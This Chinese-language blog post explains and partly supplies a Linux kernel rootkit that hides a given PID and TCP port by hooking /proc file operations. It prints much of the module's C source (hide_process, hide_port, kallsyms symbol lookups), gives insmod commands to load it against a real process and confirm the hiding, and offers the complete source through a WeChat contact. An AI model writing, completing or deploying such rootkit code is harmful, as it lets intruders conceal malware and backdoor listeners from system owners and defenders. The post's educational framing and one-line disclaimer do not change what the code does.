Linux内核级隐身术:进程与端口隐藏技术剖析

对于接触Linux系统的人来说,"进程""端口"这些词并不陌生------我们用命令查看运行的程序、检查网络连接,都是在和这些东西打交道。但你有没有想过,有些进程、端口明明在运行,却能"躲"过常规命令的查看?这背后,就有Linux内核隐藏工具的身影。今天我们就用最通俗的话,聊聊这种工具到底是什么、怎么实现的,以及它涉及的那些核心知识点。

一、先搞懂:这种内核隐藏工具到底是什么?

简单说,它是一种能嵌入Linux内核的小型程序(本质是内核模块),核心作用就是"隐身"------让指定的进程、网络端口,甚至相关文件,在常规查看命令(比如ps、netstat)下"消失"。但要注意,它不是真的把进程、端口删掉了,而是偷偷修改了内核的正常工作逻辑,让系统"谎报军情",从而达到隐藏的目的。

打个比方,这就像你家的柜子里藏了一件东西,你没有把东西拿走,而是给柜子装了一个特殊的门------别人打开柜子,只能看到门后面的部分,藏起来的东西根本看不到,但它其实一直都在柜子里。这种工具的原理,和这个"特殊门"的逻辑几乎一样。

它的应用场景很明确:主要用于系统安全测试(比如检测系统漏洞,看看系统能不能发现隐藏的恶意程序)、内核开发学习,当然也可能被恶意利用(比如恶意程序隐藏自身,躲避系统查杀)------这里我们只聚焦技术实现,不探讨恶意用途。

二、核心知识点:搞懂这些,才能明白"隐身术"的底层逻辑

在聊具体实现之前,我们先梳理几个必须知道的知识点,都是大白话,不用怕看不懂:

1. Linux内核模块:工具的"载体"

Linux内核允许我们动态加载一些小型程序(就是内核模块),这些程序能直接访问内核的核心资源,相当于给内核"加了个插件"。我们今天说的这种隐藏工具,就是以内核模块的形式存在的------不用重新编译内核,只要加载这个模块,它就能开始工作;卸载模块,隐藏效果就会消失,系统恢复正常。

2. 系统调用与内核函数:工具的"操作对象"

我们平时用的ps命令(查看进程)、netstat命令(查看端口),本质上都是通过调用内核的特定函数,来获取进程、端口信息的。比如查看进程时,会调用内核的readdir、filldir等函数,这些函数负责读取进程目录、返回进程列表;查看端口时,会调用内核的read函数,读取/proc/net/tcp(IPv4)、/proc/net/tcp6(IPv6)里的端口信息。

而这种隐藏工具的核心,就是"修改"这些内核函数------不是删掉原来的函数,而是把原来的函数"替换"成我们自己写的函数,让系统调用这些函数时,返回的信息里少了我们要隐藏的内容。

3. /proc文件系统:进程、端口信息的"展示窗口"

Linux里有个特殊的/proc目录,它不是真实的磁盘文件,而是内核在内存中创建的"虚拟文件系统"。这个目录里的文件,其实是内核状态的"映射"------比如/proc/目录下,每个进程都会有一个以进程ID(PID)命名的文件夹,里面存着这个进程的所有信息;/proc/net/tcp和/proc/net/tcp6,则存着当前所有的TCP连接(包括端口信息)。

我们的隐藏工具,就是通过修改这个"展示窗口"的内容,让常规命令看不到隐藏的进程和端口------相当于把窗口里的某些内容"擦掉"了,但背后的进程、端口依然在运行。

4. 函数挂钩(Hook):"替换"内核函数的核心技巧

所谓"函数挂钩",简单说就是"偷梁换柱":先把内核原来的函数保存起来(怕后续需要恢复),然后把我们自己写的函数,替换成内核原本调用的函数。这样一来,当系统需要调用原来的函数时,实际上调用的是我们自己的函数,我们就能在自己的函数里,做一些"过滤"操作------比如把要隐藏的进程、端口信息筛掉。

三、设计思路:如何给进程和端口"隐身"?

这个工具的设计思路很简单,核心就3步:加载模块→挂钩内核函数→过滤隐藏内容;卸载模块时,再把内核函数恢复原样,避免影响系统正常运行。具体到"隐藏进程"和"隐藏端口",思路略有不同,但本质都是"挂钩+过滤"。

1. 整体设计框架

加载模块 → 查找并保存内核中原有的关键函数(比如readdir、read) → 编写自己的"过滤函数"(用来筛掉要隐藏的内容) → 用自己的函数替换内核原来的函数 → 系统调用函数时,自动过滤隐藏内容 → 卸载模块时,恢复内核原来的函数 → 系统恢复正常。

2. 隐藏进程的设计思路

我们知道,查看进程时,系统会读取/proc目录下的进程ID文件夹,而这个读取操作,会调用内核的readdir(读取目录)和filldir(填充目录内容)两个函数。所以,隐藏进程的思路就是:

第一步:挂钩readdir和filldir函数------先保存内核原来的这两个函数,然后用我们自己写的函数替换它们。

第二步:设定要隐藏的进程ID(比如通过参数传入,指定哪个PID要隐藏)。

第三步:在自己写的filldir函数里,加一个"判断"------如果当前读取的目录名称(也就是进程ID),和我们要隐藏的PID一致,就直接"跳过",不把这个进程的信息返回给系统;如果不一致,就调用原来的filldir函数,正常返回信息。

这样一来,当我们用ps命令查看进程时,系统调用的是我们自己的filldir函数,要隐藏的进程就被"跳过"了,自然看不到。

3. 隐藏端口的设计思路

端口信息存在/proc/net/tcp和/proc/net/tcp6文件里,查看端口时,系统会调用内核的read函数,读取这两个文件的内容。所以,隐藏端口的思路和隐藏进程类似,也是"挂钩+过滤":

第一步:挂钩read函数------保存内核原来的read函数,用自己写的read函数替换。

第二步:设定要隐藏的端口(注意:代码里用的是十六进制,比如要隐藏19999端口,对应的十六进制是4E1F,这样对比起来更方便)。

第三步:在自己写的read函数里,先调用原来的read函数,获取所有端口信息,然后对这些信息进行"过滤"------逐行检查端口信息,找到包含要隐藏端口(十六进制)的那一行,把这一行删掉,再把剩下的内容返回给系统。

这里有个小细节:删掉一行后,要调整读取的字符数,避免系统发现"少了一行",出现异常。就像我们在文章里删掉一句话后,要调整段落格式,让文章看起来连贯一样。

四、代码实现解读:用大白话看懂核心代码

下面我们结合提供的代码,拆解核心部分,不用纠结每一行代码的语法,重点看"它在做什么",全程大白话解读:

c 复制代码
...
int hide_port(void){

	struct path tcp_path;
	struct path tcp6_path;
	
	if(kern_path("/proc/net/tcp", 0, &tcp_path)){
		return -1;
	}
	
	if(kern_path("/proc/net/tcp6", 0, &tcp6_path)){
		return -1;
	}
	
	old_tcp6_inode = tcp6_path.dentry->d_inode;
	old_tcp_inode = tcp_path.dentry->d_inode; 
	
	if(!old_tcp_inode){ 
		return -1;
	}
	
	if(!old_tcp6_inode){
		return -1;
	}
	
	old_tcp_fops = old_tcp_inode->i_fop;
	old_tcp_read = old_tcp_fops->read;
	new_tcp_fops = *(old_tcp_inode->i_fop);
	new_tcp_fops.read = new_tcp_read;
	old_tcp_inode->i_fop = &new_tcp_fops;
	
	old_tcp6_fops = old_tcp6_inode->i_fop;
	old_tcp6_read = old_tcp6_fops->read;
	new_tcp6_fops = *(old_tcp6_inode->i_fop);
	new_tcp6_fops.read = new_tcp6_read;
	old_tcp6_inode->i_fop = &new_tcp6_fops;
	
	return 0;
}

int hide_process(void){
	struct path proc_path;
	
	if(!PIDTOHIDE){
		printk(KERN_ALERT "Failed to get pid");
	}
	
	//printk(KERN_ALERT "The pid is %s\n", PIDTOHIDE);
		
    if(kern_path("/proc/", 0, &proc_path))
        return -1;
	
	old_proc_inode = proc_path.dentry->d_inode;
	if(!old_proc_inode)
        return -1;
	
	old_proc_fops = old_proc_inode->i_fop; 
	//memcpy(&new_proc_fops, old_proc_inode->i_fop, sizeof(struct * file_operations));
	new_proc_fops = *(old_proc_inode->i_fop);

	old_proc_readdir = old_proc_fops->readdir; 
	
	new_proc_fops.readdir = new_proc_readdir; 
	printk(KERN_ALERT "The addr of new_proc_ops is %p and old_proc_ops is %p", &new_proc_fops, old_proc_fops);
	old_proc_inode->i_fop = &new_proc_fops;
	
	//CLOSE THE FILE NOW
	printk(KERN_ALERT "Finished!\n");
	return 0;
}

static int rootkit_init(void)
{
	int rv = 0;
	void * __end = (void *) &unmap_page_range;

	unmap_page_range = (unmap_page_range_t)
		kallsyms_lookup_name("unmap_page_range");
	if ((!unmap_page_range) || (void *) unmap_page_range >= __end) {
		printk(KERN_ERR "Rootkit error: "
		       "can't find important function unmap_page_range\n");
		return -ENOENT;
	}

#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 2, 0)
	my_tlb_gather_mmu = (tlb_gather_mmu_t)
		kallsyms_lookup_name("tlb_gather_mmu");
	printk(KERN_ERR "resolved symbol tlb_gather_mmu %p\n", my_tlb_gather_mmu);
	if (!my_tlb_gather_mmu) {
		printk(KERN_ERR "Rootkit error: "
		       "can't find kernel function my_tlb_gather_mmu\n");
		return -ENOENT;
	}

	my_tlb_flush_mmu = (tlb_flush_mmu_t)
		kallsyms_lookup_name("tlb_flush_mmu");
	if (!my_tlb_flush_mmu) {
		printk(KERN_ERR "Rootkit error: "
		       "can't find kernel function my_tlb_flush_mmu\n");
		return -ENOENT;
	}

	my_tlb_finish_mmu = (tlb_finish_mmu_t)
		kallsyms_lookup_name("tlb_finish_mmu");
	if (!my_tlb_finish_mmu) {
		printk(KERN_ERR "Rootkit error: "
		       "can't find kernel function my_tlb_finish_mmu\n");
		return -ENOENT;
	}
#else
	pmmu_gathers = (struct mmu_gather *)
		kallsyms_lookup_name("mmu_gathers");
	if (!pmmu_gathers) {
		printk(KERN_ERR "Rootkit error: "
		       "can't find kernel function mmu_gathers\n");
		return -ENOENT;
	}
#endif //kernel_version >< 3.2

	kern_free_pages_and_swap_cachep = (free_pages_and_swap_cache_t)
		kallsyms_lookup_name("free_pages_and_swap_cache");
	if (!kern_free_pages_and_swap_cachep) {
		printk(KERN_ERR "Rootkit error: "
		       "can't find kernel function free_pages_and_swap_cache\n");
		return -ENOENT;
	}

	kern_flush_tlb_mm = (flush_tlb_mm_t)
		kallsyms_lookup_name("flush_tlb_mm");
	if (!kern_flush_tlb_mm) {
		printk(KERN_ERR "Rootkit error: "
		       "can't find kernel function flush_tlb_mm\n");
		return -ENOENT;
	}

	kern_free_pgtables = (free_pgtables_t)
		kallsyms_lookup_name("free_pgtables");
	if (!kern_free_pgtables) {
		printk(KERN_ERR "Rootkit error: "
		       "can't find kernel function free_pgtables\n");
		return -ENOENT;
	}

	hide_process();
	hide_port();
	
	printk(KERN_ALERT "Rootkit: Hello, world\n");
	return rv;
}

static void rootkit_exit(void)
{

	restore_hide_process();
	restore_hide_port();
	
	printk(KERN_ALERT "Rootkit: Goodbye, cruel world\n");
}

module_init(rootkit_init);
module_exit(rootkit_exit);

If you need the complete source code, please add the WeChat number (c17865354792)

1. 开头的"准备工作":引入头文件和定义参数

代码开头有一大堆#include,其实就是引入内核的各种头文件------相当于我们写文章时,要先准备好字典、参考书,方便后续调用相关的函数和结构。

然后定义了两个关键参数:PIDTOHIDE(要隐藏的进程ID,通过模块参数传入)和PORTTOHIDE(要隐藏的端口,这里是十六进制"4E1F",对应十进制19999)。还有一些"旧函数""新函数"的定义,比如old_proc_readdir(保存内核原来的readdir函数)、new_proc_readdir(我们自己写的readdir函数),目的就是为了后续的"挂钩"。

2. 隐藏进程的核心代码:new_proc_readdir和new_proc_filldir

new_proc_readdir是我们自己写的"读取目录函数",它的作用很简单:先保存原来的filldir函数,然后调用原来的readdir函数,但把里面的filldir参数,换成我们自己写的new_proc_filldir函数。

new_proc_filldir就是"过滤函数":它会对比当前读取的目录名称(进程ID)和我们要隐藏的PIDTOHIDE,如果一样,就返回0(相当于"跳过",不返回这个进程的信息);如果不一样,就调用原来的filldir函数,正常返回信息。这就是进程隐藏的核心逻辑。

3. 隐藏端口的核心代码:new_tcp_read和new_tcp6_read

这两个函数是我们自己写的"读取端口文件函数",分别对应IPv4(tcp)和IPv6(tcp6)。它们的逻辑几乎一样:

第一步:先调用原来的read函数,获取所有端口信息,存在buffer里。

第二步:逐行检查buffer里的内容,找到包含PORTTOHIDE(4E1F)的行------这里会通过字符串查找,找到端口对应的十六进制字符串。

第三步:如果找到这一行,就把这一行后面的内容,往前移动,覆盖掉这一行(相当于删掉这一行),然后调整读取的字符数(origin_read),避免系统异常。

第四步:返回过滤后的内容,这样查看端口时,就看不到要隐藏的端口了。

4. 模块的加载和卸载:init和exit函数

module_init(rootkit_init):当我们加载模块时,会调用rootkit_init函数。这个函数的作用是"初始化"------先查找内核里的一些关键函数(比如unmap_page_range、tlb_gather_mmu等,这些是内核的核心函数,确保工具能正常运行),然后调用hide_process(隐藏进程)和hide_port(隐藏端口)两个函数,启动隐藏功能。

module_exit(rootkit_exit):当我们卸载模块时,会调用rootkit_exit函数。这个函数的作用是"恢复"------调用restore_hide_process和restore_hide_port,把之前替换的内核函数,恢复成原来的样子,这样系统就能正常查看所有进程和端口了,不会留下后遗症。

五、涉及的核心技术领域总结

这种内核隐藏工具,看起来简单,但其实融合了多个Linux内核开发的核心领域,总结一下,主要有这4个方面:

1. Linux内核模块开发

这是工具的基础------如何编写内核模块、如何定义模块的加载和卸载函数、如何传递模块参数,这些都是内核模块开发的核心知识点。模块的优势在于"动态加载、动态卸载",不用修改内核源码,灵活性极高。

2. 内核函数挂钩(Hook)技术

这是工具的核心技巧------通过替换内核函数,实现对系统行为的修改。这里用到了函数指针的知识,通过保存原函数、替换原函数,实现"过滤"逻辑,这也是内核级开发中常用的一种技巧(比如系统调试、安全监控等场景都会用到)。

3. /proc文件系统原理

工具的隐藏逻辑,完全依赖于/proc文件系统的特性------它是内核状态的"映射",修改这个文件系统的内容,就能影响常规命令的输出。理解/proc文件系统的工作机制,是理解这种隐藏工具的关键。

4. 内核内存与进程管理

工具在运行过程中,需要访问内核的inode(文件节点)、file_operations(文件操作结构)等核心数据结构,这些都是内核内存管理和进程管理的核心内容。比如通过kern_path函数获取/proc目录的inode,通过修改inode的i_fop(文件操作指针),实现函数的替换。

六、测试步骤

编译模块

进入代码所在目录,执行:

bash 复制代码
make

找一个要隐藏的进程 PID

bash 复制代码
# 随便找一个正在运行的进程,比如 bash
ps -ef | grep bash

假设你看到 PID 是 1234换成你自己查到的PID

加载模块,隐藏指定 PID

bash 复制代码
sudo insmod 你的模块名.ko PIDTOHIDE="1234"

例子(如果编译出来是 hide.ko):

bash 复制代码
sudo insmod hide.ko PIDTOHIDE="1234"

测试是否隐藏成功

bash 复制代码
ps -ef | grep 1234
ls /proc | grep 1234

看不到输出 = 隐藏成功

测试端口隐藏

bash 复制代码
# 开一个端口 19999(新终端执行)
nc -l 19999

# 查看端口(应该看不到)
netstat -tulpn | grep 19999
cat /proc/net/tcp | grep 4E1F

卸载模块

bash 复制代码
sudo rmmod hide

验证恢复正常

bash 复制代码
ps -ef | grep 1234

重新看到进程 = 恢复成功

总结

其实这种Linux内核隐藏工具,本质就是"利用内核模块的灵活性,通过函数挂钩技术,修改/proc文件系统的输出,从而实现进程和端口的隐藏"。它没有什么高深的黑科技,核心就是对Linux内核函数、/proc文件系统的理解和运用。

通过了解它的实现原理,我们不仅能掌握内核模块开发、函数挂钩等实用技术,更能深入理解Linux内核的工作逻辑------比如系统命令是如何获取进程、端口信息的,内核函数是如何被调用的,/proc文件系统是如何映射内核状态的。

Welcome to follow WeChat official account【程序猿编码

相关推荐
jiayi_19992 小时前
[bug] unsupported GNU version! gcc versions later than 12 are not supported!
服务器·bug·gnu
萧行之3 小时前
Ubuntu Node.js 版本管理工具 n 完整安装与使用教程
linux·前端
乐维_lwops3 小时前
什么是可扩展、可接入的智能运维体?
运维·开放平台·运维智能体
Ares-Wang10 小时前
Linux》》systemd 、service、systemctl daemon-reload、systemctl restart docker
linux·运维·docker
安审若无12 小时前
运维知识框架
运维·服务器
阿拉斯攀登12 小时前
从入门到实战:CMake 与 Android JNI/NDK 开发全解析
android·linux·c++·yolo·cmake
Arvin62715 小时前
Nginx 添加账号密码访问验证
运维·服务器·nginx
风曦Kisaki15 小时前
# Linux 磁盘查看命令详解:df 与 du
linux·运维·网络